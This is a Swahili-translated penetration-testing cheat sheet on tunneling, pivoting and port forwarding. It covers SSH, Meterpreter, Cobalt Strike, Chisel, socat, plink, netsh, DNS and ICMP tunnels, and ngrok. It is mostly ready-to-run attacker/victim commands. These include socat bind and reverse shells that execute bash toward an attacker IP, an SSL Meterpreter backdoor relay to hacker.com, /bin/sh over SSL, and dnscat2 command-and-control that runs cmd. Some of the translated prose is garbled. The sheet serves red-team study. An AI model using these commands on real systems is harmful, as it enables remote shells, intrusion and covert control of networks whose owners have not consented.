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Tunneling and Port Forwarding

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Sawa ya Nmap

Skan za ICMP na SYN haziwezi kuchimbwa kupitia proksi za socks, hivyo lazima zimezwe ugunduzi wa ping (-Pn) na kutaja skani za TCP (-sT) ili hii ifanye kazi.

Bash

Mwenyeji -> Rukia -> NdaniA -> NdaniB

# On the jump server connect the port 3333 to the 5985
mknod backpipe p;
nc -lvnp 5985 0<backpipe | nc -lvnp 3333 1>backpipe

# On InternalA accessible from Jump and can access InternalB
## Expose port 3333 and connect it to the winrm port of InternalB
exec 3<>/dev/tcp/internalB/5985
exec 4<>/dev/tcp/Jump/3333
cat <&3 >&4 &
cat <&4 >&3 &

# From the host, you can now access InternalB from the Jump server
evil-winrm -u username -i Jump

SSH

Unganishaji wa picha wa SSH (X)

ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X

Port2Port ya Ndani

Fungua Port Mpya kwenye Seva ya SSH --> Port Nyingine

ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere
ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere

Port2Port

Bandari ya ndani --> Mwenyeji aliyeathiriwa (SSH) --> Sanduku la tatu:Bandari

ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f]  #This way the terminal is still in your host
#Example
sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>

Port2hostnet (proxychains)

Port ya Mwenyeji --> Mwenyeji Aliyodhuriwa (SSH) --> Mahali Popote

ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)

Kusonga Mbele ya Port

Hii ni muhimu kupata mabakuli ya kurudi kutoka kwa wenyeji wa ndani kupitia eneo la DMZ hadi kwa mwenyeji wako:

ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000
# Note that port 443 must be open
# Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems
# and change the line "GatewayPorts no" to "GatewayPorts yes"
# to be able to make ssh listen in non internal interfaces in the victim (443 in this case)

VPN-Tunnel

Unahitaji root kwenye vifaa vyote (kwa kuwa utaunda interfaces mpya) na sshd config lazima iruhusu kuingia kama root: PermitRootLogin yes PermitTunnel yes

ssh root@server -w any:any #This will create Tun interfaces in both devices
ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP
ifconfig tun0 up #Activate the client side network interface
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
ifconfig tun0 up #Activate the server side network interface

Wezesha uhamishaji upande wa Server

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE

Weka njia mpya upande wa mteja

route add -net 10.0.0.0/16 gw 1.1.1.1

SSHUTTLE

Unaweza kutumia kivukio kupitia ssh kusafirisha trafiki yote kwenda kwenye mtandao wa sehemu kupitia mwenyeji. Kwa mfano, kusafirisha trafiki yote inayoelekea kwenye 10.10.10.0/24

pip install sshuttle
sshuttle -r user@host 10.10.10.10/24

Hakikisha kuwa umeshaunganishwa kwa kutumia ufunguo wa kibinafsi.

sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
# -D : Daemon mode

Meterpreter

Port2Port

Port ya ndani --> Mwenyeji aliyeathiriwa (kikao cha aktive) --> Sanduku la tatu:Port

# Inside a meterpreter session
portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>

SOCKS

SOCKS ni itifaki inayotumiwa kwa kusudi la kusafirisha data kupitia firewall ya mtandao. Inaweza kutumika kwa kuficha shughuli za mtumiaji na kufikia rasilimali zilizozuiliwa.

background# meterpreter session
route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 255.255.255.0 8)
use auxiliary/server/socks_proxy
run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains

Njia nyingine:

background #meterpreter session
use post/multi/manage/autoroute
set SESSION <session_n>
set SUBNET <New_net_ip> #Ex: set SUBNET 10.1.13.0
set NETMASK <Netmask>
run
use auxiliary/server/socks_proxy
set VERSION 4a
run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains

Cobalt Strike

SOCKS proxy

Fungua kituo cha kusikiliza katika timuserver ikisikiliza kwenye viunganishi vyote vinavyoweza kutumika kwa kupeleka trafiki kupitia kipeperushi.

beacon> socks 1080
[+] started SOCKS4a server on: 1080

# Set port 1080 as proxy server in proxychains.conf
proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25

rPort2Port

Katika kesi hii, bandari inafunguliwa kwenye mwenyeji wa taa, sio kwenye Seva ya Timu na trafiki inatumwa kwenye Seva ya Timu na kutoka hapo kwenda kwa mwenyeji:bandari uliyotajwa

rportfwd [bind port] [forward host] [forward port]
rportfwd stop [bind port]

rPort2Port local

Katika kesi hii, bandari inafunguliwa kwenye mwenyeji wa beacon, sio kwenye Seva ya Timu na trafiki inatumwa kwa mteja wa Cobalt Strike (sio kwa Seva ya Timu) na kutoka hapo kwenda kwa mwenyeji: bandari iliyotajwa

rportfwd_local [bind port] [forward host] [forward port]
rportfwd_local stop [bind port]

reGeorg

https://github.com/sensepost/reGeorg

Unahitaji kupakia faili ya wavuti ya uchimbaji wa faili: ashx|aspx|js|jsp|php|php|jsp

python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp

Chisel

Unaweza kuipakua kutoka kwenye ukurasa wa matoleo ya https://github.com/jpillora/chisel Unahitaji kutumia toleo sawa kwa mteja na server

socks

./chisel server -p 8080 --reverse #Server -- Attacker
./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client -- Victim
#And now you can use proxychains with port 1080 (default)

./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed)
./chisel client -v 10.10.10.10:8080 socks #Attacker

Kusonga Bandari

./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker
./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim

Rpivot

https://github.com/klsecservices/rpivot

Mfereji wa nyuma. Mfereji huanzishwa kutoka kwa mwathiriwa. Proksi ya socks4 inaundwa kwenye 127.0.0.1:1080

attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999

Pitisha kupitia proksi ya NTLM

victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45

Socat

https://github.com/andrew-d/static-binaries

Bind shell

victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337

Reverse shell

attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane

Port2Port

Bandari kwenda Bandari

socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &

Port2Port kupitia socks

socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678

Meterpreter kupitia SSL Socat

#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute the meterpreter

Unaweza kuzunguka proxy isiyo na uthibitisho kwa kutekeleza mstari huu badala ya wa mwisho kwenye konsoli ya mwathiriwa:

OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5

https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/

Tuneli ya SSL ya Socat

Konsoli ya /bin/sh

Unda vyeti pande zote mbili: Mteja na Seva

# Execute these commands on both sides
FILENAME=socatssl
openssl genrsa -out $FILENAME.key 1024
openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
chmod 600 $FILENAME.key $FILENAME.pem
attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt

Kijia cha Port2Port Kijia

unganisha bandari ya SSH ya eneo (22) kwa bandari ya 443 ya mwenyeji wa mshambuliaji

attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim

Plink.exe

Ni kama toleo la PuTTY la kidhibiti (chaguo zake ni sawa sana na mteja wa ssh).

Kwa kuwa binary hii itatekelezwa kwa mhanga na ni mteja wa ssh, tunahitaji kufungua huduma yetu ya ssh na bandari ili tuweze kuwa na uunganisho wa nyuma. Kisha, kusonga bandari inayopatikana kwa urahisi tu kwenda kwa bandari kwenye mashine yetu:

echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090

Windows netsh

Port2Port

Unahitaji kuwa mtawala wa eneo (kwa bandari yoyote)

netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp
# Example:
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=10.10.10.10 connectport=4444
# Check the port forward was created:
netsh interface portproxy show v4tov4
# Delete port forward
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444

SocksOverRDP & Proxifier

Unahitaji kuwa na upatikanaji wa RDP kwenye mfumo. Pakua:

  1. SocksOverRDP x64 Binaries - Zana hii hutumia Dynamic Virtual Channels (DVC) kutoka kwa kipengele cha Huduma ya Desktop ya Mbali ya Windows. DVC inahusika na kutuma pakiti kupitia uhusiano wa RDP.

  2. Proxifier Portable Binary

Kwenye kompyuta yako ya mteja pakia SocksOverRDP-Plugin.dll kama hivi:

# Load SocksOverRDP.dll using regsvr32.exe
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll

Sasa tunaweza kuunganisha kwa muhanga kupitia RDP kwa kutumia mstsc.exe, na tunapaswa kupokea kitufe kikisema kuwa programu-jalizi ya SocksOverRDP imeanzishwa, na itakuwa ikisikiliza kwenye 127.0.0.1:1080.

Unge kupitia RDP na kupakia & kutekeleza kwenye mashine ya muhanga SocksOverRDP-Server.exe binary:

C:\SocksOverRDP-x64> SocksOverRDP-Server.exe

Sasa, hakikisha kwenye mashine yako (mshambuliaji) kwamba bandari 1080 inasikiliza:

netstat -antb | findstr 1080

Sasa unaweza kutumia Proxifier kupitia trafiki kupitia bandari hiyo.

Proxify Windows GUI Apps

Unaweza kufanya programu za Windows GUI zinavigate kupitia proxi kwa kutumia Proxifier. Katika Profile -> Proxy Servers ongeza IP na bandari ya seva ya SOCKS. Katika Profile -> Proxification Rules ongeza jina la programu ya kufanya proxi na uhusiano kwa IPs unazotaka kufanya proxi.

NTLM proxy bypass

Zana iliyotajwa awali: Rpivot OpenVPN pia inaweza kuipuuza, kwa kuweka chaguo hizi kwenye faili ya usanidi:

http-proxy <proxy_ip> 8080 <file_with_creds> ntlm

Cntlm

http://cntlm.sourceforge.net/

Inathibitisha dhidi ya proxi na kubana bandari kwa upande wa ndani ambayo inaelekezwa kwa huduma ya nje unayotaja. Kisha, unaweza kutumia zana unayopenda kupitia bandari hii. Kwa mfano, inaelekeza bandari 443

Username Alice
Password P@ssw0rd
Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:<attackers_machine>:443

Sasa, ikiwa unaweka kwa mfano kwenye mhanga huduma ya SSH kusikiliza kwenye bandari 443. Unaweza kuunganisha kupitia bandari ya 2222 ya mshambuliaji. Unaweza pia kutumia meterpreter inayounganisha kwenye localhost:443 na mshambuliaji anasikiliza kwenye bandari 2222.

YARP

Proksi ya nyuma iliyoundwa na Microsoft. Unaweza kuipata hapa: https://github.com/microsoft/reverse-proxy

DNS Tunneling

Iodine

https://code.kryo.se/iodine/

Root inahitajika kwenye mifumo yote kujenga viunganishi vya tun na kufanya data kati yao kutumia matakwa ya DNS.

attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
#You can see the victim at 1.1.1.2

Tunnel itakuwa polepole sana. Unaweza kuunda uhusiano wa SSH uliopimwa kupitia handaki hili kwa kutumia:

ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080

DNSCat2

Pakua hapa.

Inaanzisha njia ya C&C kupitia DNS. Haitaji mamlaka ya msingi.

attacker> ruby ./dnscat2.rb tunneldomain.com
victim> ./dnscat2 tunneldomain.com

# If using it in an internal network for a CTF:
attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache
victim> ./dnscat2 --dns host=10.10.10.10,port=5353

Kwa PowerShell

Unaweza kutumia dnscat2-powershell kufanya mteja wa dnscat2 kwenye powershell:

Import-Module .\dnscat2.ps1
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd

Kusonga mbele kwa kutumia dnscat

session -i <sessions_id>
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host

Badilisha DNS ya proxychains

Proxychains inakamata wito wa libc wa gethostbyname na kufanya ombi la DNS la tcp kupitia proxy ya socks. Kwa chaguo-msingi serveri ya DNS ambayo proxychains hutumia ni 4.2.2.2 (imeandikwa kikamilifu). Ili kubadilisha, hariri faili: /usr/lib/proxychains3/proxyresolv na ubadilishe IP. Ikiwa uko katika mazingira ya Windows unaweza kuweka IP ya domain controller.

Mita Mita katika Go

https://github.com/hotnops/gtunnel

Uchimbaji wa ICMP

Hans

https://github.com/friedrich/hans https://github.com/albertzak/hanstunnel

Root inahitajika katika mifumo yote mawili ili kuunda viunganishi vya tun na kuchimba data kati yao kwa kutumia maombi ya echo ya ICMP.

./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
./hans -f -c <server_ip> -p P@ssw0rd -v
ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100

ptunnel-ng

Pakua hapa.

# Generate it
sudo ./autogen.sh

# Server -- victim (needs to be able to receive ICMP)
sudo ptunnel-ng
# Client - Attacker
sudo ptunnel-ng -p <server_ip> -l <listen_port> -r <dest_ip> -R <dest_port>
# Try to connect with SSH through ICMP tunnel
ssh -p 2222 -l user 127.0.0.1
# Create a socks proxy through the SSH connection through the ICMP tunnel
ssh -D 9050 -p 2222 -l user 127.0.0.1

ngrok

ngrok ni chombo cha kufunua suluhisho kwa Mtandao kwa amri moja. Exposition URI ni kama: UID.ngrok.io

Usakinishaji

  • Unda akaunti: https://ngrok.com/signup

  • Pakua Mteja:

tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin
chmod a+x ./ngrok
# Init configuration, with your token
./ngrok config edit

Matumizi ya Msingi

Nyaraka: https://ngrok.com/docs/getting-started/.

Pia niwezekana kuongeza uthibitisho na TLS, ikiwa ni lazima.

Kuchimba Barabara ya TCP

# Pointing to 0.0.0.0:4444
./ngrok tcp 4444
# Example of resulting link: 0.tcp.ngrok.io:12345
# Listen (example): nc -nvlp 4444
# Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345

Kufunua faili kwa kutumia HTTP

./ngrok http file:///tmp/httpbin/
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/

Kuchunguza simu za HTTP

Inatumika kwa XSS, SSRF, SSTI ... Moja kwa moja kutoka kwa stdout au kwenye kiolesura cha HTTP http://127.0.0.1:4040.

Kutunelisha huduma ya ndani ya HTTP

./ngrok http localhost:8080 --host-header=rewrite
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
# With basic auth
./ngrok http localhost:8080 --host-header=rewrite --auth="myuser:mysuperpassword"

Mfano rahisi wa usanidi wa ngrok.yaml

Inafungua njia 3:

  • 2 TCP

  • 1 HTTP na ufunuo wa faili za static kutoka /tmp/httpbin/

tunnels:
mytcp:
addr: 4444
proto: tcptunne
anothertcp:
addr: 5555
proto: tcp
httpstatic:
proto: http
addr: file:///tmp/httpbin/

Vifaa vingine vya kuangalia

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